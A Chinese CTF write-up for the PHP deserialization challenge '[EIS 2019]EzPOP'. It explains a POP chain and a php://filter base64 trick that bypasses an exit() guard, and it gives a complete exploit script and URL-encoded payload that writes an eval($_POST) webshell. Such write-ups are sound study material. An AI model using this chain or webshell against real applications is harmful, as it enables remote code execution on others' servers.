刷题笔记:[EIS 2019]EzPOP


前言

关键字:[反序列化]

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

题解

反序列题,看代码构造pop链。

函数解析

  • array_intersect_key 比较键名返回两个集合的交集,以第一个参数为优先

    $a1 = array("a" => "red", "b" => "green", "c" => "123");
    $a2 = array("a" => "red", "c" => "blue", "d" => "pink");
    
    $result = array_intersect_key($a1, $a2);
    print_r($result);
    
    //Array ( [a] => red [c] => 123 )
  • array_flip 反转键值对

    $cachedProperties = array_flip([
        'path', 'dirname'
    ]);
    
    var_dump($cachedProperties);
    //array(2) { ["path"]=> int(0) ["dirname"]=> int(1) }

第一步,先找哪里能输出flag或执行代码的地方。

很明显,在这里了。

大致pop链如下:

B::set() <- A::save() <- A::__destruct()

然后得具体构造了

先看这里:

$expire = 'abcd';
$data = sprintf('%012d', $expire);
echo $data;
//000000000000

$expire = '1234';
$data = sprintf('%012d', $expire);
echo $data;
//000000001234

这里只允许输出数字,所以肯定有漏洞,百度一下,真有

php sprintf函数漏洞

看了一会,得,实际上这里并不是用这个格式化漏洞,而是直接绕过的。

可以从$filename入手

谈一谈php://filter的妙用

PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码

$filename = 'php://filter/write=convert.base64-decode/resource=shell.php';
$data = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=';
$add_str = '111';
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $add_str . $data;
file_put_contents($filename, $data);

利用伪协议,在写入的时候进行base64解码,这样就把前面的死亡exit给解码掉了。

然后发现字符不够,于是一个一个加,加到3个字符就成了。

base64编码后的字符串字节数都是4的倍数,而表中字符只有[a-zA-z0-9+/],其他字符是不在编码范围内的

写个代码测试下

<?php
$s1 = '12';
$s2 = '12==';
$b1 = base64_decode($s1);
$b2 = base64_decode($s2);
echo bin2hex($b1) . ' ' . bin2hex($b2);
//OUTPUT:d7 d7

明显,解码的时候不足4的倍数会补。

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
=>
<?php\n//123456789123\n exit();?>\n

不符合base64编码的字符范围将被忽略,能被解码的只有如下21个字符,所以需要补3个字符。

php//123456789123exit

然后这里的$contents就是放webshell的地方,这有两个选择,一是从$cleaned取,一是从$complete里取。明显从$complete里取要简单点,所以这里可以让$cleaned为空或空数组即可。

<?php
$a = json_encode([array(), 'MTIzNDU=']);
//$a = json_encode(['', 'MTIzNDU=']);
echo $a;
echo '<br>';
echo base64_decode($a);

payload

<?php
error_reporting(0);

class A
{

    protected $store;
    protected $key;
    protected $expire;

    public function __construct()
    {
        $this->store = new B();
        $this->autosave = 0;
        $this->key = 'shell.php';
        $this->cache = array();
        $this->complete = 'MTExUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjJOdFpDZGRLVHNnUHo0PQ==';
    }
}

class B
{
    public $options = array();

    public function __construct()
    {
        $this->options['serialize'] = 'base64_decode';
        $this->options['data_compress'] = false;
        $this->options['expire'] = 1;
        $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
    }
}

echo urlencode(serialize(new A()));
?data=O%3A1%3A%22A%22%3A6%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A4%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3Bs%3A6%3A%22expire%22%3Bi%3A1%3Bs%3A6%3A%22prefix%22%3Bs%3A50%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3D%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22autosave%22%3Bi%3A0%3Bs%3A5%3A%22cache%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22complete%22%3Bs%3A60%3A%22MTExUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiSjJOdFpDZGRLVHNnUHo0PQ%3D%3D%22%3B%7D

不解之处

迷惑的是,这样就不报错

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n";
file_put_contents($filename, $data);

这样字符不够会报错。

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
file_put_contents($filename, $data);

这样也报错

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data . '111';
file_put_contents($filename, $data);

文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录